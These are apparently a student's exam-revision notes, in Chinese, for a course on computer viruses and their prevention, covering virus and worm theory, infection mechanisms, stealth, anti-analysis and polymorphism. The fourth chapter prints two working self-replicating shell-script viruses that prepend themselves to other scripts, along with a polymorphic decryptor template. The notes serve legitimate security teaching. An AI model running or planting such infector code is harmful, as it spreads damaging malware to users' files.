计算机病毒及其防治技术期末复习 您所在的位置:网站首页 蠕虫病毒破坏重要数据 计算机病毒及其防治技术期末复习

计算机病毒及其防治技术期末复习

2024-07-11 23:51| 来源: 网络整理| 查看: 265

《计算机病毒及其防治技术》总结复习

文章目录 《计算机病毒及其防治技术》总结复习第一章 概述第二章 蠕虫第三章 病毒结构第四章 计算机病毒的技术特征第五章 特洛伊木马第六章 宏病毒第七章 Linux病毒第八章 移动终端恶意代码第九章 新型计算机病毒第十章(上) 计算机病毒的检测清除查杀检测检测清除 第十章(下) 计算机病毒的预防免疫数据备份及恢复(防治)免疫(主动)系统加固技术(主动)预防技术(被动)防治数据备份与恢复 第十一章 杀毒软件及解决方案第十二章 计算机病毒防治策略

第一章 概述

**判断:**计算机不可能因为仅仅读了一封电子邮件而感染病毒;计算机病毒不可能损害硬件;计算机病毒不可能感染一张有写保护的软盘(磁盘);计算机不可能因为浏览一个图形文件而感染病毒;都是错的!

病毒的定义:

与医学的不同:它不是天然存在的,是某些人利用计算机软、硬件所固有的脆弱性,编制的具有特殊功能的程序。与生物医学上的病毒同样有传染和破坏的特性,因此这一名词是由生物医学上的“病毒”概念引申而来。从技术角度的定义:计算机病毒是一种可以感染其它程序的程序,感染的方式为在被感染程序中加入计算机病毒的一个副本,这个副本可能是在原病毒基础上演变过来的。为了与蠕虫区别的新定义:计算机病毒是一段代码,能把自身加到其它程序包括操作系统上。它不能独立运行,需要由它的宿主程序运行来激活它。国标(国家标准)定义:计算机病毒,是指编制或者在计算机程序中插入的破坏计算机功能或者毁坏数据,影响计算机使用,并能自我复制的一组计算机指令或者程序代码。

计算机病毒的特性:

**寄生性:**计算机病毒都不是独立存在的,而是寄生于其他的程序中,当执行该程序时,病毒代码就会被执行。在正常程序未启动之前,用户不易察觉到病毒的存在。

**破坏性:**对计算机数据信息的直接破坏,如引导区、FAT表等,甚至格式化硬盘等,占用系统资源(内存、CPU时间等),干扰系统的正常工作(如显示不正常),删除、修改磁盘上的文件或毁坏整个系统,对计算机硬件的破坏(CIH),盗版及泄露信息等,网络病毒破坏网络系统

**传染性:**是计算机病毒的重要特征,病毒可以从一个程序传染到另一个程序,从一个计算机或一个网络传染到另一个计算机或网络。

**隐蔽性:**病毒潜入系统后,不一定立即发作,可以长时间的潜伏,不易被用户发现,也不影响系统的正常运行。在一定条件下,传染机制被激活,则进入传染期,破坏机制被激活时,则进行破坏。一方面是指病毒进入系统并进行传播时,多数没有外部表现,不易被用户察觉;另一方面是指病毒程序隐蔽在正常程序或某种介质中。

**触发(潜伏)性:**1)触发其感染:即在一定的条件下激活一个病毒的感染机制使之进行感染;2)触发其发作:即在一定的条件下激活病毒的表现部分。

隐蔽性与触发性的区别:隐蔽性是传播或感染时不易被用户察觉,触发性是一直潜伏在电脑中,直到达到触发条件时才进行感染或传播。

病毒的发展趋势:

病毒更新换代向多元化发展,依赖网络进行传播,攻击方式多样(邮件,网页,局域网等),利用系统漏洞成为病毒有力的传播方式,病毒与黑客技术相融合等等……

计算机病毒的主要危害:

直接危害:对计算机数据和信息的破坏;占用磁盘空间,抢占系统资源;影响计算机运行速度;引发错误与不可预见的危害。间接危害:计算机病毒给用户造成严重的心理压力;造成业务上的损失;法律上的问题。

病毒的分类:

按存在的媒体:①网络病毒:通过计算机网络传播感染网络中的可执行文件;②文件病毒:感染计算机中的文件(如:COM,EXE,DOC等);③引导型病毒:感染启动扇区(Boot)和硬盘的系统引导扇区(MBR);④混合型病毒:是上述三种情况的混合。例如:多型病毒(文件和引导型)感染文件和引导扇区两种目标,这样的病毒通常都具有复杂的算法,它们使用非常规的办法侵入系统,同时使用了加密和变形算法。

【Q&A】病毒寄生的位置有哪些?文件病毒:感染计算机中的文件(如:COM,EXE,DOC等);引导型病毒:感染启动扇区(Boot)和硬盘的系统引导扇区(MBR);

按传染方式:①引导扇区传染病毒:主要使用病毒的全部或部分代码取代正常的引导记录,而将正常的引导记录隐藏在其他地方。②执行文件传染病毒:寄生在可执行程序中,一旦程序执行,病毒就被激活,进行预定活动。③网络传染病毒:这类病毒是当前病毒的主流,特点是通过互联网络进行传播。例如,蠕虫病毒就是通过主机的漏洞在网上传播。

按病毒破坏能力:①无害型:除了传染时减少磁盘的可用空间外,对系统没有其它影响。②无危险型:这类病毒仅仅是减少内存、显示图像、发出声音及同类音响。③危险型:这类病毒在计算机系统操作中造成严重的错误。④重度危险型:这类病毒删除程序、破坏数据、清除系统内存区和操作系统中重要的信息。

按病毒算法:①伴随型病毒:这一类病毒并不改变文件本身,它们根据算法产生EXE文件的伴随体,具有同样的名字和不同的扩展名(COM),例如:XCOPY.EXE的伴随体是XCOPY.COM。病毒把自身写入COM文件并不改变EXE文件,当DOS加载文件时,伴随体优先被执行到,再由伴随体加载执行原来的EXE文件。②蠕虫型病毒:通过计算机网络传播,不改变文件和资料信息,利用网络从一台机器的内存传播到其它机器的内存,计算网络地址,将自身的病毒通过网络发送。有时它们在系统存在,一般除了内存不占用其它资源③寄生型病毒:依附在系统的引导扇区或文件中,通过系统的功能进行传播。④练习型病毒:病毒自身包含错误,不能进行很好的传播,例如一些病毒在调试阶段。⑤变形病毒:这一类病毒使用一个复杂的算法,使自己每传播一份都具有不同的内容和长度。它们一般的作法是一段混有无关指令的解码算法和经过变化的病毒体组成。

按计算机病毒的链结方式:①源码型病毒:该病毒攻击高级语言编写的程序,该病毒在高级语言所编写的程序编译前插入到原程序中,经编译成为合法程序的一部分。②嵌入型病毒:这种病毒是将自身嵌入到现有程序中,把计算机病毒的主体程序与其攻击的对象以插入的方式链接。这种计算机病毒是难以编写的,一旦侵入程序体后也较难消除。如果同时采用多态性病毒技术,超级病毒技术和隐蔽性病毒技术,将给当前的反病毒技术带来严峻的挑战。③外壳型病毒:外壳型病毒将其自身包围在主程序的四周,对原来的程序不作修改。这种病毒最为常见,易于编写,也易于发现,一般测试文件的大小即可知。④操作系统型病毒:这种病毒用自身的程序加入或取代部分操作系统进行工作,具有很强的破坏力,可以导致整个系统的瘫痪。圆点病毒和大麻病毒就是典型的操作系统型病毒。

Which kind of virus?(判断) 这种病毒是将自身嵌入到现有程序中,把计算机病毒的主体程序与其攻击的对象以插入的方式链接。这种计算机病毒是难以编写的,一旦侵入程序体后也较难消除。如果同时采用多态性病毒技术,超级病毒技术和隐蔽性病毒技术,将给当前的反病毒技术带来严峻的挑战。(嵌入型病毒) 通过计算机网络传播,不改变文件和资料信息,利用网络从一台机器的内存传播到其它机器的内存,计算网络地址,将自身的病毒通过网络发送。有时它们在系统存在,一般除了内存不占用其它资源。(蠕虫型病毒) 该病毒攻击高级语言编写的程序,该病毒在高级语言所编写的程序编译前插入到原程序中,经编译成为合法程序的一部分。(源码型病毒) 这类病毒仅仅是减少内存、显示图像、发出声音及同类音响。(无危险型)

寄生在可执行程序中,一旦程序执行,病毒就被激活,进行预定活动。(执行文件传染病毒) 感染启动扇区(Boot)和硬盘的系统引导扇区(MBR)。(引导型病毒) 将其自身包围在主程序的四周,对原来的程序不作修改。这种病毒最为常见,易于编写,也易于发现,一般测试文件的大小即可知。(外壳型病毒)

移动通信系统:

病毒对手机的攻击有3个层次:攻击WAP服务器,使手机无法访问服务器;攻击网关,向手机用户发送大量垃圾信息;直接对手机本身进行攻击,有针对性地对其操作系统和运行程序进行攻击,使手机无法提供服务。

染毒计算机的症状:

**发作前的现象:**时运行正常的计算机突然经常性无缘无故地死机;操作系统无法正常启动;运行速度明显变慢;以前能正常运行的软件经常发生内存不足的错误;打印和通讯发生异常;无意中要求对软盘进行写操作;以前能正常运行的应用程序经常发生死机或者非法错误;系统文件的时间、日期、大小发生变化;运行Word,打开Word文档后,该文件另存时只能以模板方式保存;磁盘空间迅速减少;网络驱动器卷或共享目录无法调用;基本内存发生变化;陌生人发来的电子函件。**发作时的现象:**提示一些不相干的话;发出一段的音乐;产生特定的图像;硬盘灯不断闪烁;进行游戏算法;Windows桌面图标发生变化;计算机突然死机或重启;自动发送电子邮件;鼠标自己在动。**发作后的现象:**硬盘无法启动,数据丢失;系统文件丢失或被破坏;文件目录发生混乱;部分文档丢失或被破坏;部分文档自动加密;修改Autoexec.bat文件;使部分可软件升级主板的BIOS程序混乱,主板被破坏;网络瘫痪,无法提供正常的服务。**与病毒现象类似的软件故障:**出现“Invalid drive specification”(非法驱动器号);软件程序已被破坏(非病毒);软件与操作系统的兼容性;引导过程故障;用不同的编辑软件程序。**与病毒现象类似的硬件故障:**系统的硬件配置;电源电压不稳定;插件接触不良;软驱故障;关于CMOS的问题。

计算机病毒的命名规则:

CARO命名规则,每一种病毒的命名包括五个部分:病毒家族名,病毒组名,大变种,小变种,修改者。CARO规则的一些附加规则包括:不用地点命名;不用公司或商标命名;如果已经有了名字就不再另起别名;变种病毒是原病毒的子类。某病毒名为 Cascade.1701.A,如何解析?精灵(Cunning)病毒是瀑布(Cascade)病毒的变种,它在发作时能奏乐,因此被命名为Cascade.1701.A。Cascade是家族名,1701是组名。因为Cascade病毒的变种的大小不一(1701, 1704, 1621等),所以用大小来表示组名。A 表示该病毒是某个组中的第一个变种。(Jerusalem.1808.Apocalypse,耶路撒冷圣谕病毒)W97M.Melissa.AA,Win32.Happy99.Worm如何解析?反病毒软件商们通常在CARO命名的前面加一个前缀来标明病毒类型。比如,WM表示MS Word宏病毒;Win32指32位Windows病毒;VBS指VB脚本病毒。这样,梅丽莎病毒的一个变种的命名就成了W97M.Melissa.AA,Happy 99蠕虫就被称为Win32.Happy99.Worm,VB脚本的FreeLinks就成了VBS.FreeLinks。VGrep是反病毒厂商的一种尝试,这种方法将已知的病毒名称通过某种方法关联起来,其目的是不管什么样的扫描软件都能按照可被识别的名称链进行扫描。VGrep将病毒文件读入并用不同的扫描器进行扫描,扫描的结果和被识别出的信息放入数据库中。每一个扫描器的扫描结果与别的扫描结果相比较并将结果用作病毒名交叉引用表。VGrep的参与者赞同为每一种病毒起一个最通用的名字作为代表名字。拥有成千上万扫描器的大型企业集团要求杀毒软件供应商使用VGrep命名,这对于在世界范围内跟踪多个病毒的一致性很有帮助。

病毒防治的公理:

不存在这样一种反病毒软硬件,能够防治未来产生的所有病毒;不存在这样一种病毒程序,能够让未来的所有反病毒软硬件都无法检测;目前的反病毒软件和硬件以及安全产品是都易耗品,必须经常进行更新、升级;病毒产生在前,反病毒手段滞后的现状,将是一个长期的过程。

企业网络中的病毒防治策略:(见11章)

第二章 蠕虫

蠕虫的定义:

蠕虫两个最基本特征:“可以从一台计算机移动到另一台计算机”和“可以自我复制”从技术角度的定义:计算机蠕虫可以独立运行,并能把自身的一个包含所有功能的版本传播到另外的计算机上

病毒与蠕虫的区别: A:计算机病毒是一段代码,能把自身加到其它程序包括操作系统上。它不能独立运行,需要由它的宿主程序运行来激活它。蠕虫可以独立运行,并能把自身的一个包含所有功能的版本传播到另外的计算机上。

image-20211216224151012

蠕虫定义的进一步说明:

计算机病毒和蠕虫在传染过程中有何差异?计算机病毒主要攻击的是文件系统,在其传染的过程中,计算机使用者是传染的触发者,是传染的关键环节,使用者的计算机知识水平的高低常常决定了病毒所能造成的破坏程度。而蠕虫主要是利用计算机系统漏洞(Vulnerability)进行传染,搜索到网络中存在漏洞的计算机后主动进行攻击,在传染的过程中,与计算机操作者是否进行操作无关,从而与使用者的计算机知识水平无关;蠕虫的定义中强调了自身副本的完整性和独立性,这也是区分蠕虫和病毒的重要因素。可以通过简单的观察攻击程序是否存在载体来区分蠕虫与病毒;不能简单的把利用了部分网络功能的病毒统称为蠕虫或蠕虫病毒。“Melissa网络蠕虫宏病毒”(Macro.Word97.Melissa)是病毒,而不是蠕虫。“冲击波病毒”(Worm.MSBlast)却是典型的蠕虫。

**蠕虫分类:**根据蠕虫的传播、运作方式,可以将蠕虫分为两类

**主机蠕虫:**主机蠕虫的所有部分均包含在其所运行的计算机中;在任意给定的时刻,只有一个蠕虫的拷贝在运行,也称作“兔子”(Rabbit)。**网络蠕虫:**网络蠕虫由许多部分(称为段,Segment)组成,而且每一个部分运行在不同的计算机中(可能执行不同的动作);使用网络的目的,是为了进行各部分之间的通信以及传播;网络蠕虫具有一个主segment,该主segment用以协调其他segment的运行;这种蠕虫有时也称作“章鱼”(Octopus)。

蠕虫的基本结构:

分基本功能模块和扩展功能模块。实现了基本功能模块的蠕虫即可复制传播(跟定义和特征有关,自我移动,自我复制),扩展功能模块是增强了生存能力与破坏力。 image-20211216225110452

蠕虫的工作方式与扫描策略:

蠕虫的工作方式一般是“扫描→攻击→复制”(必须写!!!!)

image-20211216225343661

为什么蠕虫的出现是病毒技术发展的里程碑事件? A:蠕虫的自我移动、自我复制特性,改变了以往病毒点对点的传播方式,进入了网络传播、指数级扩散的新时代。

辨析:蠕虫不具有破坏性? A:蠕虫本身并不具备破坏功能。但是蠕虫的蠕虫的自我移动、自我复制特性,会消耗系统资源、降低网络性能。

蠕虫传播模型:

蠕虫:具有主动攻击特征,不需要计算机使用者的参与,攻击对象是计算机系统。 病毒:一般是被动传播,要有计算机使用者的参与,攻击对象是文件系统。

SI (Susceptible-Infected)

适用于只有易感程序和已感染程序两类,且不会反复感染的病毒。 易感程序被计算机病毒传染后,变为已感染程序,无潜伏期、无杀毒恢复的情况、无免疫力。

SIS (Susceptible-Infected-Susceptible) 适用于只有易感程序和已感染程序两类,但会反复感染的病毒。 易感程序被计算机病毒传染后,变为已感染程序,可被杀毒再次变为易感程序,无潜伏期、无免疫力。

SIR (Susceptible-Infected-Removed) 易感,感染,康复

两个假设:已被病毒感染的文件具有免疫力;病毒的潜伏期很短,近似地认为等于零。

把系统中可执行程序分为三种:被传播对象,即尚未感染病毒的可执行程序;已感染病毒的可执行程序;被感染后具有免疫力的可执行程序,在这种状态下,节点既不会被感染,也不会感染其它节点。

Kermack-Mckendrick模型是SIR模型中的经典

在Kermack-Mckendrick模型中考虑了感染主机的恢复,它假定在蠕虫传播期间,一些受感染的主机可以恢复为正常状态或死亡,且对此蠕虫具有免疫功能,因此每个主机具有三种状态:易感、感染或恢复,其状态转移可表示为易感→感染→恢复,或永远保持易感状态

image-20211215200351080

如何遏制蠕虫的传播?

从Kermack-Mckendrick模型可以得出一个重要的理论——蠕虫爆发定理:一个大规模蠕虫爆发的充分必要条件是初始易感主机的数目S(0)>ρ。 由于存在蠕虫爆发的阈值,因此,采取各种防治手段,如安装杀毒软件、打补丁、断开网络连接等降低蠕虫感染率,通过先进的治疗手段提高恢复率,使S(0)≤ρ,从而有效地遏制蠕虫的传播。能否在蠕虫的缓慢传播阶段实现对蠕虫的检测和防治成为有效防治蠕虫的关键

蠕虫的行为特征:

主动攻击:已成为黑客入侵的自动化工具,全过程由蠕虫自身主动完成。其自主性有别于普通病毒,普通病毒需要用户的参与来激活、触发。行踪隐蔽:蠕虫传播不像病毒那样需要使用者的操作,所以使用者基本不可察觉。利用系统、网络应用服务器漏洞:系统存在漏洞是蠕虫传播的前提。造成网络拥塞:蠕虫的过程势必造成大量附加的网络数据流量,即使不具有破坏功能,也会导致网络瘫痪消耗系统资源,降低系统性能:蠕虫会在被感染的计算机上产生自己的多个副本,每个副本启动搜索程序寻找新的攻击目标,大量的进程会耗费系统的资源,对网络服务器的影响尤其明显。产生安全隐患:蠕虫会搜集、扩散、暴露系统敏感信息,并在系统中留下后门。这些都会导致未来的完全隐患。反复性:即使清除了蠕虫在文件系统中留下的任何痕迹,如果没有修补计算机系统漏洞,重新接入到网络的计算机还是会重新受到蠕虫攻击。破坏性:纵观蠕虫的发展历程,越来越多的蠕虫开始包含恶意代码,破坏被攻击的计算机系统,而且造成的经济损失越来越大。蠕虫可以影响计算机使用,如冲击波;扰乱网络通信,如Nimda。 以上描述的是蠕虫个体的活动行为特征,当网络中多台计算机被蠕虫感染后,将形成具有独特行为特征的“蠕虫网络”。

蠕虫的检测与清除:

对未知蠕虫的检测:有多种方法可以对未知蠕虫进行检测,比较通用的方法有对流量异常的统计分析、对TCP连接异常的分析、对ICMP(Internet Control Message Protocol,互联网控制报文协议)数据异常的分析 ICMP数据异常的分析:在蠕虫的扫描阶段,蠕虫会随机地或伪随机的产生大量的IP地址进行扫描,探测漏洞主机。这些被扫描的IP地址中,会存在许多空的或不可到达的IP地址,从而在一段时间内,蠕虫主机会接收到大量的来自不同路由器的ICMP-T3(目标不可达)数据包,如图。同构对这些数据包进行检测和统计,即可发现。 第三章 病毒结构

计算机病毒的工作机制:

image-20211216083223078

病毒有哪些模块,分为哪些状态?

四大模块:

感染模块

病毒传染的条件: 被动传染(静态时):用户在进行拷贝磁盘或文件时,把一个病毒由一个载体复制到另一个载体上。或者是通过网络上的信息传递,把一个病毒程序从一方传递到另一方。 主动传染(动态时):以计算机系统的运行以及病毒程序处于激活状态为先决条件。在病毒处于激活的状态下,只要传染条件满足,病毒程序能主动地把病毒自身传染给另一个载体或另一个系统。

传染过程:系统(程序)运行 -> 各种模块进入内存 -> 按多种传染方式传染

**传染方式:**立即传染,即病毒在被执行的瞬间,抢在宿主程序开始执行前,立即感染磁盘上的其他程序,然后再执行宿主程序;驻留内存并伺机传染,内存中的病毒检查当前系统环境,在执行一个程序、浏览一个网页时传染磁盘上的程序,驻留在系统内存中的病毒程序在宿主程序运行结束后,仍可活动,直至关闭计算机。

**文件型病毒传染机理:**首先根据病毒自己的特定标识来判断该文件是否已感染了该病毒;当条件满足时,将病毒链接到文件的特定部位,并存入磁盘中;完成传染后,继续监视系统的运行,试图寻找新的攻击目标。

**文件型病毒传染途径:**加载执行文件;浏览目录过程;创建文件过程

触发模块

触发条件:计算机病毒在传染和发作之前,往往要判断某些特定条件是否满足,满足则传染或发作,否则不传染或不发作或只传染不发作,这个条件就是计算机病毒的触发条件。

触发模块的目的是调节病毒的攻击性和潜伏性之间的平衡:大范围的感染行为、频繁的破坏行为可能给用户以重创,但是,它们总是使系统或多或少地出现异常,容易使病毒暴露;而不破坏、不感染又会使病毒失去其特性;可触发性是病毒的攻击性和潜伏性之间的调整杠杆,可以控制病毒感染和破坏的频度,兼顾杀伤力和潜伏性。

破坏模块(表现模块)

破坏是Vxer的追求,病毒魅力的体现 破坏模块的功能:破坏 破坏的程度:? 破坏对象:系统数据区、文件、内存、系统运行速度、磁盘、CMOS、主板和网络等。

【破坏功能越大越好吗?】不是,破坏功能越大越容易被发现,也更加容易被清除。

引导模块(主控模块)

引导前——寄生 寄生位置:引导区,可执行文件 寄生手段:替代法(寄生在引导区中的病毒常用该法)链接法(寄生在文件中的病毒常用该法)

引导过程:驻留内存,窃取系统控制权,恢复系统功能 (1)引导区病毒引导过程:搬迁系统引导程序 -> 替代为病毒引导程序;启动时 -> 病毒引导模块 -> 加载传染、破坏和触发模块到内存 -> 使用常驻技术;最后,转向系统引导程序 -> 引导系统

(2)文件型病毒引导过程:修改入口指令 -> 替代为跳转到病毒模块的指令;执行时 -> 跳转到病毒引导模块 -> 病毒引导模块 -> 加载传染、破坏和触发模块到内存 -> 使用常驻技术;最后,转向程序的正常执行指令 -> 执行程序

两个状态:静态,动态

COM文件病毒原理:

感染过程:将开始的3个字节保存在orgcode中;将这3个字节更改为0E9H和COM文件的实际大小的二进制编码;将病毒写入原COM文件的后边;在病毒的返回部分,将3个字节改为0E9H和表达式(当前地址-COM文件的实际大小-病毒代码大小)的二进制编码,以便在执行完病毒后转向执行原程序。

病毒如何感染其他文件:

PE病毒感染其他文件的常见方法是在文件中添加一个新节,然后,把病毒代码和病毒执行后返回宿主程序的代码写入新添加的节中,同时修改PE文件头中入口点(AddressOfEntryPoint),使其指向新添加的病毒代码入口。这样,当程序运行时,首先执行病毒代码,当病毒代码执行完成后才转向执行宿主程序。为什么要返回到宿主程序? 为了提高自己的生存能力,病毒不应该破坏宿主程序的原有功能。因此,病毒应该在执行完毕后,立刻将控制权交给宿主程序。

病毒的重定位技术:

**为什么需要重定位?**正常程序的变量和函数的相对地址都是预先计算好的;病毒是附加在宿主程序中的程序段,其问题在于:病毒变量和病毒函数的相对地址很难计算;解决方法:动态找一个参照点,然后再根据参照点的地址确定病毒函数和病毒变量的地址。

重定位代码:

call delta delta: pop ebp … lea eax,[ebp+(offset var1-offset delta)] lea指令获取指针的地址 参照量delta在内存中的地址 + 变量var1与参考量之间的距离 = 变量var1在内存中的真正地址

从ring3到ring0的概述:

ring0意味着更多的权力,可以直接执行诸如访问端口等操作,通常应用程序运行于ring3,这样可以保护系统安全。

Win9x时代:由于Win9x未对IDT,GDT,LDT加以保护,我们可以利用这一点漏洞来进入ring0;用SHE,IDT,GDT,LDT等方法进入ring0的例子请参考CVC杂志、已公开的病毒源码和相关论坛等。在NT/2K/XP时代:webcrazy写的Win2K下进入ring0的C教程,这篇文章非常值得研究ring0病毒的技术人员参考;由于Win2K已经有了比较多的安全审核机制,即使我们掌握了这种技术,如果想在Win2K下进入ring0还必须具有Administrator权限。;我们必须同时具备病毒编制技术和黑客技术才能进入Win2k的ring0,由此可以看出当前的病毒编制技术越来越需要综合能力;Vista和7的安全性进一步提高,利用ring0执行权限的病毒越来越难写,此时写传统计算机病毒趋近于不可能。 第四章 计算机病毒的技术特征

驻留内存:

驻留内存的两类办法:作为设备驱动程序加载;申请分配内存。

DOS内存驻留程序(TSR,即退出并驻留内存)可使用两种方法:通过在CONFIG.SYS中作为设备驱动程序加载;调用DOS中断INT 21H(或INT 27H)。

**引导区病毒的内存驻留:**较小,大小在1K或者几K;为了避免用户可以很容易的觉察到系统可用内存的减少,一些病毒会等待DOS完全启动成功,然后使用DOS自己的功能分配内存;引导区内存驻留程序不包括重入检测部分,因为引导区病毒只在系统启动时加载一次。

**Windows内存驻留:**由于Windows操作系统本身就是多任务的,所以最简单的内存驻留方法是将病毒作为一个应用程序,病毒拥有自己的窗口(可能是隐藏的)、拥有自己的消息处理函数;另外一种方法是使用DPMI(DOS Protected Mode Interface)申请一块系统内存,然后将病毒代码放到这块内存中;第三种方法是将病毒作为一个VXD(Win3.x或者Win9x环境下的设备驱动程序)或者在Win NT/Win2000下的设备驱动程序(WDM)加载到内存中运行。

宏病毒的内存驻留方法:病毒随着宿主程序(word和excel)而被加载并且一直存在于系统中,所以从某种意义上,宏病毒都是内存驻留病毒。宏病毒通过检测自己的特征防止重入。大部分驻留内存的病毒都会在加载前,检查内存状态,避免重载。这种机制导致了一种简易的反病毒技术——使用一个程序设置内存\CPU\文件的特征、状态,防治特定的病毒进入系统。

病毒变种:

通过修改病毒代码,使其躲过现有病毒检测程序,新出现的病毒称为变形。

变种—>新品种:变形了的病毒继承父本病毒的主要特征时,称为变种,如果变形病毒已具备足以区别于父本病毒的特征时,称为新品种,而非变种。

**两种方式:**手工变种;自动变种(Mutation Engine:变形机)保加利亚的Dark Avenger的变形机最著名。

变种分类:

①具备普通病毒所具有的基本特性,然而,病毒每感染一个目标后,其自身代码与前一被感染目标中的病毒代码几乎没有三个连续的字节是相同的,但这些代码及其相对空间的排列位置是不变动的。这里称其为一维变形病毒。 ②除了具备一维变形病毒的特性外,并且那些变化的代码相互间的排列距离(相对空间位置)也是变化的,有的感染文件的字节数不定。这里称其为二维变形病毒。 ③具备二维变形病毒的特性,并且能分裂后分别潜藏在几处,随便某一处的子病毒被激发后都能自我恢复成一个完整的病毒。病毒在附着体上的空间位置是变化的,即潜藏的位置不定。例如,在某台机器中,病毒的一部分可能藏在机器硬盘的主引导区中,另外几部分也可能潜藏在可执行文件中,也可能潜藏在覆盖文件中,也可能潜藏在系统引导区,也可能另开垦一块区域潜藏等等。在另一台被感染的机器内,病毒可能又改变了其潜藏的位置。这里称其为三维变形病毒。 ④具备三维变形病毒的特性,并且,这些特性随时间动态变化。例如,在染毒的机器中,刚开机时病毒在内存里变化为一个样子,一段时间后又变成了另一个样子,再次开机后病毒在内存里又是一个不同的样子。这里称其为四维变形病毒。

抗分析技术:

加密技术:这是一种防止静态分析的技术,使得分析者无法在不执行病毒的情况下,阅读加密过的病毒程序。

数据加密(信息加密) –大多将信息和数据加密后再传染到引导区或文件,当查毒程序检查到它们时,就不容易发现病毒的存在。例1:引导型6.4病毒将字符串用异或操作的方式加密存储。简单。在病毒体内能看到几个连续的数字7,会使一般用户觉察到引导扇区与以往不同,但不易断定是否为病毒。例2:文件型1575 病毒加密内部的文件名,直接判读1575代码时,看不到任何ASCII字符串,1575把下列字符串进行了加密:C:COMMAND.COM。1575运行时,首先感染硬盘上的COMMAND.COM程序,这样只要启动系统,1575随系统文件COMMAND.COM进入内存。病毒代码加密:对病毒体自身加密。Chinese Bomb把宿主程序前6个字节加密并转移位置(存放到了病毒体内)。要恢复被感染的文件,必须经解密才能获得源文件头的那6个字节。1701/1704用宿主程序的长度作为密钥加密代码。好处是啥? 这使每个被感染程序都使用了不相同的密钥。清除病毒时要从病毒体内提取有关信息。

反跟踪技术:使得分析者无法动态跟踪病毒程序的运行。

DOS下,1575病毒将堆栈指针指向INT 0~INT 3中断:以阻止利用DEBUG调试软件对其跟踪。因为在PC系统中,中断0-3是特殊中断,其功能被强制约定,若此4中断内容被破坏,则执行到相应功能时系统就无法正常运行。DEBUG程序用到这些中断,1575病毒破坏了堆栈寄存器的指向,将其引向这几个中断向量处,如果没有分析清楚这几条反跟踪措施指令的作用,只用DEBUG去跟踪执行1575病毒的代码,则进行不下去。

Windows下,多样化的反动态跟踪技术: **封锁键盘输入:**在执行过程中不需要键盘支持时,先封锁键盘输入,跟踪者无法输入指令。不影响程序运行,跟踪者却不能跟踪指令。**关闭屏幕显示:**无须屏幕显示时,关闭屏幕,使动态跟踪无法看到真实的信息。**修改堆栈指令:**使其指向跳转地址,程序更加隐蔽,使反汇编失败无法正常执行。**程序运行计时:**正常运行和被跟踪运行的时间差异很大。运行时间计时以判断是否被跟踪。**动态地生成指令代码:**程序进行变形,使其成为不可读的程序。程序自身在分段运行中,动态逐步还原,并在运行之后自动消除。增加阅读和分析难度。即使反汇编出来,也不能看到程序全部信息。

代码:

#infection for file in ./* ; do if test -f $file && test -x $file && test -w $file ; then if grep -s sh $file > /dev/nul ; then # 把错误丢弃 head -n 2 $file > .mm if grep -s infection .mm > /dev/nul ; then # 判断是否为脚本程序 rm -f .mm ; else head -n 14 $0 > .SAVEE #把病毒代码放在脚本文件的开始部分 cat $file >> .SAVEE #原有代码追加在末尾 cat .SAVEE > $file #形成含有病毒代码的脚本文件 fi fi fi done rm -f .SAVEE .mm # 清理工作

简化版:

#infection head -n 35 $0 > .test1 for file in ./* do echo $file head -n 2 $file > .mm if grep infection .mm > .mmm then echo "infected file and rm .mm" rm -f .mm else if test -f $file then echo "test -f" if test -x $file then echo "test -x" if test -w $file then echo "test -w" if grep -s sh $file > .mmm then echo "test -s and cat..." cat $file > .SAVEE #把病毒代码放在脚本文件的开始部分 cat .test1 > $file #原有代码追加在末尾 cat .SAVEE >> $file #形成含有病毒代码的脚本文件 fi fi fi fi fi done rm .test1 .SAVEE .mmm .mm –f

文件型病毒的隐藏技术:

拦截(API, INT调用)访问 —>恢复 —>再感染:替换操作系统或者BIOS的文件系统相关调用,在打开文件的时候,将文件的内容恢复到未感染的状态,关闭文件时重新感染。方式多样,如下:

image-20211216095200583

可以使用特殊工具查看磁盘,其不通过DOS中断获得文件大小,可以看到感染病毒后文件的实际大小,检测出病毒。

多态性病毒技术:

定义:多态病毒就是没有特殊特征码的病毒,这种病毒无法(或极难)用特征码扫描法检测到。

**方法:**使用不固定的密钥或者随机数加密病毒代码;运行的过程中改变病毒代码;通过一些奇怪的指令序列实现多态性。

使用加密技术的多态性:

MOV reg_1, count MOV reg_2, key MOV reg_3, offset //其中,reg_1、reg_2和reg_3是从AX、BX、CX、DX、SI、DI、BP中随机挑选的寄存器,感染不同的文件,解密代码使用随机的寄存器count是加密数据的长度,key是加密的密钥,offset是加密代码的偏移量,感染的时候,这些数值都是随机生成的,不同的感染都不一样 LOOP: xxx byte ptr [reg_3],reg_2//xxx是XOR、ADD、SUB等不同运算指令的通称,使用什么运算指令是感染的时候随机选择的 DEC reg_1 Jxx LOOP //Jxx是ja、jnc等不同条件跳转指令的通称,使用什么跳转指令也是感染的时候随机选择的 加密后的病毒代码

这段代码的作用是将预先加密的病毒代码解密,然后跳转到病毒代码中。 这段解密代码和加密后的病毒都是在感染时动态生成的,使用的寄存器、密钥、加密代码的长度等,甚至解密使用的指令都是随机的。无法找到固定特征码。

多态的计算!!!!!!

对于以上的代码计算多态: 7 ∗ 6 ∗ 5 ∗ 2 ∗ 2 ∗ 2 ∗ 3 ∗ 2 = 10080 7*6*5*2*2*2*3*2=10080 7∗6∗5∗2∗2∗2∗3∗2=10080

多态病毒的级别:

**半多态:**病毒拥有一组解密算法,感染的时候从中间随机的选择一种算法进行加密和感染。 **具有不动点的多态:**病毒有一条或者几条语句是不变的(把这些不变的语句叫做不动点),其他病毒指令都是可变的。 **带有填充物的多态:**解密代码中包含一些没有实际用途的代码来干扰分析者的视线。 **算法固定的多态:**解密代码所使用的算法是固定的,但是实现这个算法的指令和指令的次序是可变的。 **算法可变的多态:**使用了上述所有的技术,同时解密算法也是可以部分或者全部改变的。 **完全多态:**算法多态,同时病毒体可以随机的分布在感染文件的各个位置,但是在运行的时候能够进行拼装,并且可以正常工作。

查杀技术:

对于前面3种多态病毒,可以使用病毒特征码或者改进后的病毒特征码;对于第4种多态病毒,可以增加多种情况的改进后的特征码;至于第5和第6种多态病毒,依靠传统的特征码技术是完全无能为力的;最好的办法是虚拟执行技术:让解密代码自己解密完成之后,再使用通常的特征码识别法进行病毒检测。

破坏性感染技术:

破坏性感染病毒是针对计算机病毒消除技术的一项病毒技术。传播性差 —> 破坏面小,解决:在潜伏期长的情况下,其传播性可以有所改观。破坏性感染和病毒的破坏性的区别:病毒的破坏性是指对计算机数据信息的直接破坏,所有病毒都有破坏性。而破坏性感染是指病毒进行感染时带有破坏作用。

病毒自动生产技术:

